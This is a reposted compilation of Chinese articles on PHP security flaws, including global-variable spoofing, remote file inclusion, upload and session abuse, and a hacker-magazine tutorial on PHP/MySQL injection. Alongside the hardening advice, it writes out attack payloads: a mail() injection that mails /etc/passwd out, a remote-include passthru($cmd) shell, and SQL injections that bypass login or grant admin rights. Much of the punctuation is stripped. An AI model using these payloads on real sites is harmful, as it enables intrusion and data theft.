PHP攻防安全相關 -- 轉

文章主要從全局變量,遠程文件,文件上載,庫文件,Session文件,數據類型和容易出錯的函數這幾個方面分析了PHP的安全性,而且對如何加強PHP的安全性提出了一些有用的建議。 

好了,廢話少說,咱們言歸正傳! 

[全局變量] 
PHP中的變量不須要事先聲明,它們會在第一次使用時自動建立,它們的類型也不須要指定,它們會根據上下文環境自動肯定。從程序員的角度來看,這無疑是一種極其方便的處理方法。很顯然,這也是快速開發語言的一個頗有用的特色。一旦一個變量被建立了,就能夠在程序中的任何地方使用。這個特色致使的結果就是程序員不多初始化變量,畢竟,當它們第一次建立時,他們是空的。 

很顯然,基於PHP的應用程序的主函數通常都是接受用戶的輸入(主要是表單變量,上載文件和Cookie等),而後對輸入數據進行處理,而後把結果返回到客戶端瀏覽器。爲了使PHP代碼訪問用戶的輸入儘量容易,實際上PHP是把這些輸入數據看做全局變量來處理的。 

例如: php

FORM METHOD=GET ACTION=test.php; 
INPUT TYPE=TEXT NAME=hello; 
INPUT TYPE=SUBMIT; 
FORM; 

很顯然,這會顯示一個文本框和提交按鈕。當用戶點擊提交按鈕時,「test.php」會處理用戶的輸入,當「test.php」運行時,「$hello」會包含用戶在文本框輸入的數據。從這裏咱們應該看出,攻擊者能夠按照本身的意願建立任意的全局變量。若是攻擊者不是經過表單輸入來調用「test.php」,而是直接在瀏覽器地址欄輸入httpservertest.phphello=hi&setup=no,那麼,不止是「$hello」被建立,「$setup」也被建立了。 

譯者注:這兩種方法也就是咱們一般說的「POST」和「GET」方法。 
下面的用戶認證代碼暴露了PHP的全局變量所致使的安全問題: css

php 
  if ($pass == hello) 
    $auth = 1; 
  ...  
  if ($auth == 1) 
    echo some important information; 
; 

上面的代碼首先檢查用戶的密碼是否爲「hello」,若是匹配的話,設置「$auth」爲「1」,即經過認證。以後若是「$suth」爲「1」的話,就會顯示一些重要信息。 

表面看起來是正確的,並且咱們中有至關一部分人是這樣作的,可是這段代碼犯了想固然的錯誤,它假定「$auth」在沒有設置值的時候是空的,卻沒有想到攻擊者能夠建立任何全局變量並賦值,經過相似「httpservertest.phpauth=1」的方法,咱們徹底能夠欺騙這段代碼,使它相信咱們是已經認證過的。

所以,爲了提升PHP程序的安全性,咱們不能相信任何沒有明肯定義的變量。若是程序中的變量不少的話,這但是一項很是艱鉅的任務。 

一種經常使用的保護方式就是檢查數組HTTP_GET[]或POST_VARS[]中的變量,這依賴於咱們的提交方式(GET或POST)。當PHP配置爲打開「track_vars」選項的話(這是缺省值),用戶提交的變量就能夠在全局變量和上面提到的數組中得到。 

可是值得說明的是,PHP有四個不一樣的數組變量用來處理用戶的輸入。HTTP_GET_VARS數組用來處理GET方式提交的變量,HTTP_POST_VARS數組用於處理POST方式提交的變量,HTTP_COOKIE_VARS數組用於處理做爲cookie頭提交的變量,而對於HTTP_POST_FILES數組(比較新的PHP才提供),則徹底是用戶用來提交變量的一種可選方式。用戶的一個請求能夠很容易的把變量存在這四個數組中,所以一個安全的PHP程序應該檢查這四個數組。 

[遠程文件] 
PHP是一種具備豐富特性的語言,提供了大量的函數,使編程者實現某個功能很容易。可是從安全的角度來看,功能越多,要保證它的安全性就越難,遠程文件就是說明這個問題的一個很好的例子: html

if (!($fd = fopen($filename, r)) 
    echo(Could not open file $filename); 

上面的腳本試圖打開文件「$filename」,若是失敗就顯示錯誤信息。很明顯,若是咱們可以指定「$filename」的話,就能利用這個腳本瀏覽系統中的任何文件。可是,這個腳本還存在一個不太明顯的特性,那就是它能夠從任何其它WEB或FTP站點讀取文件。實際上,PHP的大多數文件處理函數對遠程文件的處理是透明的。 

例如: 
若是指定「$filename」爲「httptargetscripts..Á ..winntsystem32cmd.exec+dir」 
則上面的代碼其實是利用主機target上的unicode漏洞,執行了dir命令。 

這使得支持遠程文件的include(),require(),include_once()和require_once()在上下文環境中變得更有趣。這些函數主要功能是包含指定文件的內容,而且把它們按照PHP代碼解釋,主要是用在庫文件上。 

例如: 
php 
  include($libdir . languages.php); 

上例中「$libdir」通常是一個在執行代碼前已經設置好的路徑,若是攻擊者可以使得「$libdir」沒有被設置的話,那麼他就能夠改變這個路徑。可是攻擊者並不能作任何事情,由於他們只能在他們指定的路徑中訪問文件languages.php(perl中的「Poison null byte」攻擊對PHP沒有做用)。可是因爲有了對遠程文件的支持,攻擊者就能夠作任何事情。例如,攻擊者能夠在某臺服務器上放一個文件languages.php,包含以下內容: 
php 
  passthru(binls etc); 

而後把「$libdir」設置爲「httpevilhost;」,這樣咱們就能夠在目標主機上執行上面的攻擊代碼,「etc」目錄的內容做爲結果返回到客戶的瀏覽器中。 

須要注意的是,攻擊服務器(也就是evilhost)應該不能執行PHP代碼,不然攻擊代碼會在攻擊服務器,而不是目標服務器執行。

[文件上載] 
PHP自動支持基於RFC 1867的文件上載,咱們看下面的例子: mysql

FORM METHOD=POST ENCTYPE=multipartform-data; 
INPUT TYPE=FILE NAME=hello; 
INPUT TYPE=HIDDEN NAME=MAX_FILE_SIZE VALUE=10240; 
INPUT TYPE=SUBMIT; 
FORM; 

上面的代碼讓用戶從本地機器選擇一個文件,當點擊提交後,文件就會被上載到服務器。這顯然是頗有用的功能,可是PHP的響應方式使這項功能變的不安全。當PHP第一次接到這種請求,甚至在它開始解析被調用的PHP代碼以前,它會先接受遠程用戶的文件,檢查文件的長度是否超過「$MAX_FILE_SIZE variable」定義的值,若是經過這些測試的話,文件就會被存在本地的一個臨時目錄中。 

所以,攻擊者能夠發送任意文件給運行PHP的主機,在PHP程序尚未決定是否接受文件上載時,文件已經被存在服務器上了。 

這裏我就不討論利用文件上載來對服務器進行DOS攻擊的可能性了。 

讓咱們考慮一下處理文件上載的PHP程序,正如咱們上面說的,文件被接收而且存在服務器上(位置是在配置文件中指定的,通常是tmp),擴展名通常是隨機的,相似「phpxXuoXG」的形式。PHP程序須要上載文件的信息以便處理它,這能夠經過兩種方式,一種方式是在PHP 3中已經使用的,另外一種是在咱們對之前的方法提出安全公告後引入的。 

可是,咱們能夠確定的說,問題仍是存在的,大多數PHP程序仍是使用老的方式來處理上載文件。PHP設置了四個全局變量來描述上載文件,好比說上面的例子: 

$hello = Filename on local machine (e.g tmpphpxXuoXG) 
$hello_size = Size in bytes of file (e.g 1024) 
$hello_name = The original name of the file on the remote system (e.g ctemphello.txt) 
$hello_type = Mime type of uploaded file (e.g textplain) 

而後PHP程序開始處理根據「$hello」指定的文件,問題在於「$hello」不必定是一個PHP設置的變量,任何遠程用戶均可以指定它。若是咱們使用下面的方式: 

httpvulnhostvuln.phphello=etcpasswd&hello_size=10240&hello_type=textplain&hello_name=hello.txt 

就致使了下面的PHP全局變量(固然POST方式也能夠(甚至是Cookie)): 

$hello = etcpasswd 
$hello_size = 10240 
$hello_type = textplain 
$hello_name = hello.txt 

上面的表單數據正好知足了PHP程序所指望的變量,可是這時PHP程序再也不處理上載的文件,而是處理「etcpasswd」(一般會致使內容暴露)。這種攻擊能夠用於暴露任何敏感文件的內容。 

我在前面已經說了,新版本的PHP使用HTTP_POST_FILES[]來決定上載文件,同時也提供了不少函數來解決這個問題,例若有一個函數用來判斷某個文件是否是實際上載的文件。這些函數很好的解決了這個問題,可是實際上確定有不少PHP程序仍然使用舊的方法,很容易受到這種攻擊。 

做爲文件上載的攻擊方法的一個變種,咱們看一下下面的一段代碼: 

php 
  if (file_exists($theme))  Checks the file exists on the local system (no remote files) 
include($theme); 

若是攻擊者能夠控制「$theme」的話,很顯然它能夠利用「$theme」來讀取遠程系統上的任何文件。攻擊者的最終目標是在遠程服務器上執行任意指令,可是他沒法使用遠程文件,所以,他必須得在遠程服務器上建立一個PHP文件。這乍看起來好象是不可能的,可是文件上載幫了咱們這個忙,若是攻擊者先在本地機器上建立一個包含PHP代碼的文件,而後建立一個包含名爲「theme」的文件域的表單,最後用這個表單經過文件上載把建立的包含PHP代碼的文件提交給上面的代碼,PHP就會把攻擊者提交的文件保存起來,並把「$theme」的值設置爲攻擊者提交的文件,這樣file_exists()函數會檢查經過,攻擊者的代碼也將執行。 

得到執行任意指令的能力以後,攻擊者顯然想提高權限或者是擴大戰果,而這又須要一些服務器上沒有的工具集,而文件上載又一次幫了咱們這個忙。攻擊者可使用文件上載功能上載工具,把她們存在服務器上,而後利用他們執行指令的能力,使用chmod()改變文件的權限,而後執行。例如:攻擊者能夠繞過防火牆或IDS上載一個本地root攻擊程序,而後執行,這樣就得到了root權限。 

如何對PHP程序中的常見漏洞進行攻擊(下) 
[庫文件] 
正如咱們前面討論的那樣,include()和require()主要是爲了支持代碼庫,由於咱們通常是把一些常用的函數放到一個獨立的文件中,這個獨立的文件就是代碼庫,當須要使用其中的函數時,咱們只要把這個代碼庫包含到當前的文件中就能夠了。 

最初,人們開發和發佈PHP程序的時候,爲了區別代碼庫和主程序代碼,通常是爲代碼庫文件設置一個「.inc」的擴展名,可是他們很快發現這是一個錯誤,由於這樣的文件沒法被PHP解釋器正確解析爲PHP代碼。若是咱們直接請求服務器上的這種文件時,咱們就會獲得該文件的源代碼,這是由於當把PHP做爲Apache的模塊使用時,PHP解釋器是根據文件的擴展名來決定是否解析爲PHP代碼的。擴展名是站點管理員指定的,通常是「.php」, 「.php3」和「.php4」。若是重要的配置數據被包含在沒有合適的擴展名的PHP文件中,那麼遠程攻擊者很容易獲得這些信息。 

最簡單的解決方法就是給每一個文件都指定一個PHP文件的擴展名,這樣能夠很好的防止泄露源代碼的問題,可是又產生了新的問題,經過請求這個文件,攻擊者可能使本該在上下文環境中運行的代碼獨立運行,這可能致使前面討論的所有攻擊。 

下面是一個很明顯的例子: 

In main.php 
php 
  $libDir = libdir; 
  $langDir = $libdirlanguages; 
  ... 
  include($libdirloadlanguage.php; 
In libdirloadlanguage.php 
php 
  ... 
  include($langDir$userLang); 

當「libdirloadlanguage.php」被「main.php」調用時是至關安全的,可是由於「libdirloadlanguage」具備「.php」的擴展名,所以遠程攻擊者能夠直接請求這個文件,而且能夠任意指定「$langDir 和 「$userLang」 的值。 
[Session文件] 
PHP 4或更新的版本提供了對sessions的支持,它的主要做用是在PHP程序中保存頁與頁之間的狀態信息。例如,當一個用戶登錄進入網站,他登錄了這個事實以及誰登錄進入這個網站都被保存在session中,當他在網站中處處瀏覽時,全部的PHP代碼均可以得到這些狀態信息。 

事實上,當一個session啓動時(其實是在配置文件中設置爲在第一次請求時自動啓動),就會生成一個隨機的「session id」,若是遠程瀏覽器老是在發送請求時提交這個「session id」的話,session就會一直保持。這經過Cookie很容易實現,也能夠經過在每頁提交一個表單變量(包含「session id」)來實現。PHP程序能夠用session註冊一個特殊的變量,它的值會在每一個PHP腳本結束後存在session文件中,也會在每一個PHP腳本開始前加載到變量中。下面是一個簡單的例子: 程序員

php 
  session_destroy();  Kill any data currently in the session 
  $session_auth = shaun; 
  session_register(session_auth);  
  Register $session_auth as a session variable; 

新版本的PHP都會自動把「$session_auth」的值設置爲「shaun」,若是它們被修改的話,之後的腳本都會自動接受修改後的值,這對無狀態的Web來講的確是種很不錯的工具,可是咱們也應該當心。 

一個很明顯的問題就是確保變量的確來自session,例如,給定上面的代碼,若是後續的腳本是下面這樣的話:

php 
  if (!empty($session_auth)) 
    Grant access to site here; 

上面的代碼假定若是「$session_auth」被置位的話,就是從session,而不是從用戶輸入來置位的,若是攻擊者經過表單輸入來置位的話,他就能夠得到對站點的訪問權。注意攻擊者必須在session註冊該變量以前使用這種攻擊方法,一旦變量被放進了session,就會覆蓋任何表單輸入。 

Session數據通常是保存在文件中(位置是可配置的,通常是「tmp」),文件名通常是相似「sess_session id;」的形式,這個文件包含變量名稱,變量類型,變量值和一些其它的數據。在多主機系統中,由於文件是以運行Web服務器的用戶身份(通常是nobody)保存的,所以惡意的站點擁有者就能夠經過建立一個session文件來得到對其它站點的訪問,甚至能夠檢查session文件中的敏感信息。 

Session機制也爲攻擊者把本身的輸入保存在遠程系統的文件中提供了另外一個方便的地方,對於上面的例子來講,攻擊者須要在遠程系統放置一個包含PHP代碼的文件,若是不能利用文件上載作到的話,他一般會利用session爲一個變量按照本身的意願賦一個值,而後猜想session文件的位置,而他知道文件名是「phpsession id;」,因此只需猜想目錄,而目錄通常就是「tmp」。 

另外,攻擊者能夠任意指定「session id」(例如「hello」),而後用這個「session id」建立一個session文件(例如「tmpsess_hello」),可是「session id」只能是字母和數字組合。 

[數據類型] 
PHP具備比較鬆散的數據類型,變量的類型依賴於它們所處的上下文環境。例如:「$hello」開始是字符串變量,值爲「」,可是在求值時,就變成了整形變量「0」,這有時可能會致使一些意想不到的結果。若是「$hello」的值爲「000」仍是爲「0」是不一樣的,empty()返回的結果也不會爲真。 

PHP中的數組是關聯數組,也就是說,數組的索引是字符串型的。這意味着「$hello[000]」 和「$hello[0]」也是不一樣的。 

開發程序的時候應該仔細地考慮上面的問題,例如,咱們不該該在一個地方測試某個變量是否爲「0」,而在另外的地方使用empty()來驗證。 

[容易出錯的函數] 
咱們在分析PHP程序中的漏洞時,若是可以拿到源代碼的話,那麼一份容易出錯的函數列表則是咱們很是須要的。若是咱們可以遠程改變這些函數的參數的話,那麼咱們就極可能發現其中的漏洞。下面是一份比較詳細的容易出錯的函數列表: 

PHP代碼執行; 
require():讀取指定文件的內容而且做爲PHP代碼解釋 
include():同上 
eval():把給定的字符串做爲PHP代碼執行 
preg_replace():當與「e」開關一塊兒使用時,替換字符串將被解釋爲PHP代碼 

命令執行; 
exec():執行指定的命令,返回執行結果的最後一行 
passthru():執行指定命令,返回全部結果到客戶瀏覽器 
``:執行指定命令,返回全部結果到一個數組 
system():同passthru(),可是不處理二進制數據 
popen():執行指定的命令,把輸入或輸出鏈接到PHP文件描述符 

文件泄露; 
fopen():打開文件,並對應一個PHP文件描述符 
readfile():讀取文件的內容,而後輸出到客戶瀏覽器 
file():把整個文件內容讀到一個數組中 

譯者注:其實這份列表還不是很全,好比「mail()」等命令也可能執行命令,因此須要本身補充一下。 
[如何加強PHP的安全性] 
我在上面介紹的全部攻擊對於缺省安裝的PHP 4均可以很好的實現,可是我已經重複了不少次,PHP的配置很是靈活,經過配置一些PHP選項,咱們徹底可能抵抗其中的一些攻擊。下面我按照實現的難度對一些配置進行了分類: 

低難度 
中低難度 
中高難度 
高難度 

上面的分類只是我的的見解,可是我能夠保證,若是你使用了PHP提供的全部選項的話,那麼你的PHP將是很安全的,即便是第三方的代碼也是如此,由於其中不少功能已經不能使用。 

 設置「register_globals」爲「off」 
這個選項會禁止PHP爲用戶輸入建立全局變量,也就是說,若是用戶提交表單變量「hello」,PHP不會建立「$ hello」,而只會建立「HTTP_GETPOST_VARS['hello']」。這是PHP中一個極其重要的選項,關閉這個選項,會給編程帶來很大的不便。 

 設置「safe_mode」爲「on」 
打開這個選項,會增長以下限制: 
1.    限制哪一個命令能夠被執行 
2.    限制哪一個函數能夠被使用 
3.    基於腳本全部權和目標文件全部權的文件訪問限制 
4.    禁止文件上載功能 
這對於ISP來講是一個偉大的選項,同時它也能極大地改進PHP的安全性。 

 設置「open_basedir」 
這個選項能夠禁止指定目錄以外的文件操做,有效地消除了本地文件或者是遠程文件被include()的攻擊,可是仍須要注意文件上載和session文件的攻擊。 

 設置「display_errors」爲「off」,設置「log_errors」爲「on」 
這個選項禁止把錯誤信息顯示在網頁中,而是記錄到日誌文件中,這能夠有效的抵制攻擊者對目標腳本中函數的探測。 

 設置「allow_url_fopen」爲「off」 
這個選項能夠禁止遠程文件功能,極力推薦! 

對PHP程序中的常見漏洞進行攻擊之狗尾續貂 

A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications 
之狗尾續貂 

by san@netguard.com.cn 


Shaun Clowes的文章Exploiting Common Vulnerabilities in PHP Applications的確寫的很棒, 
考慮到了不少方面,我這個文章只是狗尾續貂,補充一些其它沒怎麼提到的問題。本文側重於解決問題,而不是 
攻擊。 

一、古老的欺騙SQL語句 
在默認模式下,即便是你忘了把php.ini拷到usrlocallibphp.ini下,php仍是打開magic_quotes_gpc=on。 
這樣全部從GETPOSTCookie來的變量的單引號(')、雙引號()、反斜槓backslash()以及空字元NUL 
(the null byte)都會被加上反斜槓,以使數據庫可以正確查詢。 
可是在php-4-RC2的時候引入了一個配置文件php.ini-optimized,這個優化的php.ini倒是 
magic_quotes_gpc=off的。某些網管看到optimized字樣也許就會把php.ini-optimized拷到 
usrlocallibphp.ini,這時就比較危險。象比較簡單的驗證,假設沒有過濾必要的字符: 
select  from login where user='$HTTP_POST_VARS[user]' and pass='$HTTP_POST_VARS[pass]' 
咱們就能夠在用戶框和密碼框輸入1‘ or 1='1經過驗證了。這是很是古董的方法了,這個語句會 
替換成這樣: 
select  from login where user='1' or 1='1' and pass='1' or 1='1' 
由於or 1='1'成立,因此經過了。 
解決的辦法最好就是過濾全部沒必要要的字符,還有就是推薦對於從GETPOSTCookie來的而且用在SQL 
中的變量加一個自定義的函數: 
function gpc2sql($str) { 
    if(get_magic_quotes_gpc()==1)  
        return $str; 
    else  
        return addslashes($str); 

主要是爲了你的程序能安全移植在各類系統裏。 


二、mail函數的第五個參數 
在php-4.0.5的時候,mail函數引入了第五個參數,用來設置在實際發送郵件的時候增長額外的命令行參數, 
可是沒有很好的檢查特殊SHELL命令字符,因此出現執行命令的大問題。就像手冊裏的例子: 
mail(nobody@aol.com, the subject, $message, From webmaster@$SERVER_NAME, -fwebmaster@$SERVERNAME); 
這個是存在問題的,若是$SERVER_NAME=;mail san@xfocus.org  etcpasswd就能把機器的密碼發送 
到個人信箱了。 
這裏提醒一下,php手冊裏還有好幾個例子存在安全問題的,你們實際使用的時候不要照搬,它只是演示函數的
基本功能,理解了就能夠了。 
對於mail函數的這個問題,最簡單的咱們就不用這個第五個參數,要使用就過濾非法的字符如(;),還有就是修改 
php源碼包的程序extstandardmail.c,在if (extra_cmd != NULL) { 前增長以下一行:  
extra_cmd=NULL 
而後從新編譯。 


三、UNIX版的require, include函數 
win版本的require和include函數是不支持HTTP和FTP遠程文件包含的,而UNIX版本默認都是支持遠程包含文件。 
require和include無論你是什麼擴展名的,把你包含進來就做爲程序的一部分來執行。 
咱們在寫程序的時候爲了程序的模塊化,以及程序的可移植性,不可避免的用到不少require或include函數, 
並且有時用變量做爲參數,好比:include($something); 若是這時用戶能控制$something參數,而這個 
參數又沒有過濾,那就慘拉。 
首先能夠看任何web用戶有讀權限的文件,假設這個程序叫httpvictimtest.php,這樣咱們就能夠用以下 
url httpvictimtest.phpsomething=etcpasswd 看到etcpasswd文件。 
另外能夠利用其遠程文件包含的功能執行命令。好比我在httpwww.xfocus.org下創建一個文件test.php,內容是: 
passthru($cmd);,那麼我就能夠用以下的url 
httpvictimtest.phpsomething=httpwww.xfocus.orgtest.phpcmd=uname這種方式運行任 
意的命令。 
phpMyAdmin也出現了這個問題,咱們能夠用它看任何咱們想看的文件。可是它在include前,先用file_exist 
函數判斷文件是否存在,而這個file_exist是不支持遠程文件的,因此上面第二種辦法沒法直接使用。可是咱們 
能夠利用apache的日誌功能,請求一個帶php代碼的url,這樣,something指定爲apache的日誌也能夠執行命 
令了,可是apache的日誌一般比較大,有太多雜亂信息。 
httpwww.securereality.com.ausradv00008.txt提到的辦法比較巧妙,用file upload的方式把本地 
的執行命令的腳本上傳,會在服務器的文件上傳臨時目錄裏產生php8Ta02I之類的文件名,因爲這時文件是存在的 
,因此能經過file_exist函數,從而執行上傳文件裏的執行腳本。 


因此對於include, require函數的使用必定要當心,特別是以包含的文件以參數指定這種方式,參數絕對不能 
讓用戶來控制。還有經過修改php.ini文件去掉遠程文件包含這個功能。這個在php-4.0.3之前用 
disable-url-fopen-wrapper 在之後的版本用allow_url_fopen = off來關閉。 


四、disable_function 
在php-4.0.1,php.ini裏引入了一項功能disable_functions , 這個功能比較有用,能夠用它禁止一些函數。 
好比在php.ini里加上disable_functions = passthru exec system popen 那麼在執行這些函數的時候 
只會提示Warning system() has been disabled for security reasons.  
唉,可是也不是沒有辦法執行系統命令了。由於php採用了不少perl的特性,好比還能夠用(`)來執行命令: 
 
$output = `ls -al`; 
echo pre;$outputpre;; 

這個只有設成safe_mode才能避免,但是可惡的safe_mode實在是限制太多了,作其它事情也有些礙手礙腳。 




五、file upload 
php文件上傳的問題在文章httpwww.securereality.com.ausradv00001.html裏已經描述的很清楚了, 
這的確是個比較嚴重的問題,通常咱們要上傳的文件也會放在web目錄,因此容易給攻擊者獲得系統的一些web用戶 
能讀的文件。 
幸好在php-4.0.3之後提供了is_uploaded_file和move_uploaded_file函數。因此php-4.0.3以上的上傳文 
件的程序必定不要再用copy函數了,用move_uploaded_file代替,它會檢查是不是上傳的文件。若是是php-4.0.2 
及如下的,建議在copy前加一個函數: 
function is_uploaded_file($filename) { 
    if (!$tmp_file = get_cfg_var('upload_tmp_dir')) { 
        $tmp_file = dirname(tempnam('', '')); 
    } 
    $tmp_file.=''.basename($filename); 
     User might have trailing slash in php.ini...  
    return (ereg_replace('+', '', $tmp_file) == $filename); 



這個漏洞在安全焦點呆了好久,只是在copy以前有不少驗證阿、判斷阿的語句,因此使之攻擊存在至關的難度,赫赫。 




還有,千萬不要以環境變量、Cookie變量、session變量等做爲關係生死的判斷條件,由於這些變量太容易被僞造了。 
呵呵,手頭事情比較多,其它慢慢想到了再加吧,也歡迎其餘同志任意的添加修改之。 


參考文獻 
一、PHP 4 ChangeLog (httpwww.php.netChangeLog-4.php) 
二、A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications  
   (httpwww.securereality.com.austudyinscarlet.txt)及analysist的翻譯。 
三、Remote command execution vulnerabilities in phpMyAdmin and phpPgAdmin  
   (httpwww.securereality.com.ausradv00008.txt)  


php注入專題 


建立時間:2005-03-09 
文章屬性:原創 
文章提交:54alpha (netsh_at_163.com) 


php注入專題 
                                          ------------Alpha 






此文已發於《黑客x檔案》2004年10期專題。 
謹以此文獻給最愛個人爸爸媽媽,以及全部幫助過個人人。 


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@因爲xfocus不支持上傳圖片 
您能夠到httpwww.54hack.infotxtphp.pdf下載此文的pdf文檔(含圖片) 


Php注入攻擊是現今最流行的攻擊方式,依靠它強大的靈活性吸引了廣大黑迷。 


在上一期的《php安全與注射專題》中林.linx主要講述了php程序的各類漏洞,也講到了php+mysql注入的問題,但是講的注入的問題比較少,讓咱們感受沒有盡興是吧. 
OK,這一期我將給你們夥仔仔細細的吹一吹php+mysql注入,必定讓你滿載而歸哦(誰扔磚頭哩!)。 
本文主要是爲小菜們服務的,若是你已是一隻老鳥呢,可能某些東西會感受比較乏味,但只要你仔細的看,你會發現不少有趣的東西哦。 


閱讀此文你只要明白下面的這點東西就夠了。 


1.明白php+mysql環境是如何搭建的,在光盤中咱們收錄搭建的相關文章,若是您對搭建php+mysql環境不是很清楚,請先查閱此文,在上一期的專題中也有所介紹。 
2.大概瞭解php和apache的配置,主要用到php.ini和httpd.conf 
而此文咱們主要用到的是php.ini的配置。爲了安全起見咱們通常都打開php.ini裏的安全模式,即讓safe_mode = On,還有一個就是返回php執行錯誤的display_errors 這會返回不少有用的信息,因此咱們應該關閉之, 
即讓display_errors=off  關閉錯誤顯示後,php函數執行錯誤的信息將不會再顯示給用戶。 
在php的配置文件php.ini中還有一個很是重要的配置選項magic_quotes_gpc,高版本的默認都是magic_quotes_gpc=On,只有在原來的古董級的php中的 
默認配置是magic_quotes_gpc=Off,但是古董的東西也有人用的哦! 
當php.ini中magic_quotes_gpc=On的時候會有什麼狀況發生哩,不用驚慌,天是塌不下來的啦!它只是把提交的變量中全部的 ' (單引號), 「 (雙引號),  (反斜線) 和 空字符會自動轉爲含有反斜線的轉義字符,例如把’變成了’,把變成了。 
就是這一點,讓咱們很不爽哦,不少時候咱們對字符型的就只好說BYEBYE了, 
可是不用氣餒,咱們仍是會有好方法來對付它的,往下看咯! 
3.有必定的php語言基礎和了解一些sql語句,這些都很簡單,咱們用到的東西不多,因此充電還來的及哦! 


咱們先來看看magic_quotes_gpc=Off的時候咱們能幹些啥,而後咱們再想辦法搞一搞magic_quotes_gpc=On的狀況哈 


一:magic_quotes_gpc=Off時的注入攻擊 
magic_quotes_gpc=Off的狀況雖說很不安全,新版本默認也讓 
magic_quotes_gpc=On了,但是在不少服務器中咱們還發現magic_quotes_gpc=Off的狀況,例如httpwww.qichi.。 
還有某些程序像vbb論壇就算你配置magic_quotes_gpc=On,它也會自動消除轉義字符讓咱們有隙可乘,因此說
magic_quotes_gpc=Off的注入方式仍是大有市場的。 


下面咱們將從語法,注入點 and 注入類型幾個方面來詳細講解mysql+php注入 


A從MYSQL語法方面先 
  1。先講一些mysql的基本語法,算是給沒有好好學習的孩子補課了哦~_~ 
      1)select 
    SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT]  
    select_expression,... 
    [INTO {OUTFILE  DUMPFILE} 'file_name' export_options] 
    [FROM table_references 
        [WHERE where_definition] 
        [GROUP BY col_name,...] 
[ORDER BY {unsigned_integer  col_name  formula} [ASC  DESC] ,...] 
      ] 
經常使用的就是這些,select_expression指想要檢索的列,後面咱們能夠用where來限制條件,咱們也能夠用into outfile將select結果輸出到文件中。固然咱們也能夠用select直接輸出 
例如 


mysql; select 'a'; 
+---+ 
 a  
+---+ 
 a  
+---+ 
1 row in set (0.00 sec) 
具體內容請看mysql中文手冊7.12節 
下面說一些利用啦 
看代碼先 
這段代碼是用來搜索的哦 


form method=「POST」 action=「 echo $PHP_SELF; ;「;  
input type=「text」 name=「search」;br;  
input type=「submit」 value=「Search」;  
form;  
php 
……… 
SELECT  FROM users WHERE username LIKE ‘%$search%’ ORDER BY username 
……. 



這裏咱們順便說一下mysql中的通配符,’%’就是通配符,其它的通配符還有’’和’_’,其中  用來匹配字段名,而 % 用來匹配字段值,注意的是%必須與like一塊兒適用,還有一個通配符,就是下劃線 _ ,它表明的意思和上面不一樣,是用來匹配任何單個的字符的。在上面的代碼中咱們用到了’’表示返回的全部字段名,%$search%表示全部包含$search字符的內容。 


咱們如何注入哩? 
哈哈,和asp裏很類似 
在表單裏提交 
Aabb%’ or 1=1 order by id# 
注:#在mysql中表示註釋的意思,即讓後面的sql語句不執行,後面將講到。 
或許有人會問爲何要用or 1=1呢,看下面, 


把提交的內容帶入到sql語句中成爲 


SELECT  FROM users WHERE username LIKE ‘%aabb%’ or 1=1 order by id# ORDER BY username 


假如沒有含有aabb的用戶名,那麼or 1=1使返回值仍爲真,使能返回全部值 


咱們還能夠這樣 


在表單裏提交 
%’ order by id# 
或者 
’ order by id# 
帶入sql語句中成了 
SELECT  FROM users WHERE username LIKE ‘% %’ order by id# ORDER BY username 
和 
SELECT  FROM users WHERE username LIKE ‘%%’ order by id# ORDER BY username 
固然了,內容所有返回。 
列出全部用戶了喲,沒準連密碼都出來哩。 
這裏就舉個例子先,下面會有更精妙的select語句出現,select實際上幾乎是無處不在的哦! 
2)下面看update咯 
Mysql中文手冊裏這麼解釋的: 
UPDATE [LOW_PRIORITY] tbl_name SET col_name1=expr1,col_name2=expr2,... 
        [WHERE where_definition]  
UPDATE用新值更新現存表中行的列,SET子句指出哪一個列要修改和他們應該被給定的值,WHERE子句,若是給出,指定哪一個行應該被更新,不然全部行被更新。 
詳細內容去看mysql中文手冊7.17節啦,在這裏詳細介紹的話會很羅嗦的哦。 
由上可知update主要用於數據的更新,例如文章的修改,用戶資料的修改,咱們彷佛更關心後者,由於...... 
看代碼先哦 
咱們先給出表的結構,這樣你們看的明白 
CREATE TABLE users (  
id int(10) NOT NULL auto_increment,  
login varchar(25),  
password varchar(25), 
email varchar(30),  
userlevel tinyint,  
PRIMARY KEY (id)  

其中userlevel表示等級,1爲管理員,2爲普通用戶 
php 
change.php 
…… 
$sql = UPDATE users SET password='$pass', email='$email' WHERE id='$id' 
…… 

Ok,咱們開始注入了哦,在添email的地方咱們添入 
netsh@163.com’,userlevel=’1 
sql語句執行的就是 
UPDATE users SET password='youpass', 
email='netsh@163.com’,userlevel=’1’ WHERE id='youid’ 
看看咱們的userlevel就是1了,變成管理員了喲 
哈哈,如此之爽,簡直是居家旅行必備啊。 
這裏咱們簡單提一下單引號閉合的問題,若是隻用了一個單引號而沒有單引號與之組成一對,系統會返回錯誤。列類型主要分爲數字類型,日期和時間類型,字符串類型,然而引號通常用在字符串類型裏,而在數字類型裏通常人都不會用到引號(然而倒是能夠用的,並且威力很大),日期和時間類型就不多用於注入了(由於不多有提交時間變量的)。在下面咱們會詳細將這幾種類型的注入方式哦! 


3)下面輪到insert了,它已經等的不耐煩了,簡直就像中午食堂裏的學生們。 
Php中文手冊是這樣教咱們的: 
INSERT [LOW_PRIORITY  DELAYED] [IGNORE] 
        [INTO] tbl_name [(col_name,...)] 
        VALUES (expression,...),(...),... 
INSERT把新行插入到一個存在的表中,INSERT ... VALUES形式的語句基於明確指定的值插入行,INSERT ... SELECT形式插入從其餘表選擇的行,有多個值表的INSERT ... VALUES的形式在MySQL 3.22.5或之後版本中支持,col_name=expression語法在MySQL 3.22.10或之後版本中支持。 
因而可知對於見不到後臺的咱們來講,insert主要就出如今註冊的地方,或者有其它提交的地方地方也能夠哦。 


看看錶的結構先 
CREATE TABLE membres (  
id varchar(15) NOT NULL default '',  
login varchar(25),  
password varchar(25),  
email varchar(30),  
userlevel tinyint,  
PRIMARY KEY (id)  
)  
咱們仍然假設userlevel表示用戶等級,1爲管理者,2爲普通用戶哈。 
代碼以下 
php 
reg.php 
…… 
$query = INSERT INTO members VALUES('$id','$login','$pass','$email',’2') ; 
…… 

默認插入用戶等級是2 
如今咱們構建注入語句了哦 
仍是在要咱們輸入email的地方輸入: 
netsh@163.com’,’1’)# 
sql語句執行時變成了: 
INSERT INTO membres VALUES ('youid','youname','youpass',' netsh@163.com’,’1’)#',')  
看咱們一註冊就是管理員了。 
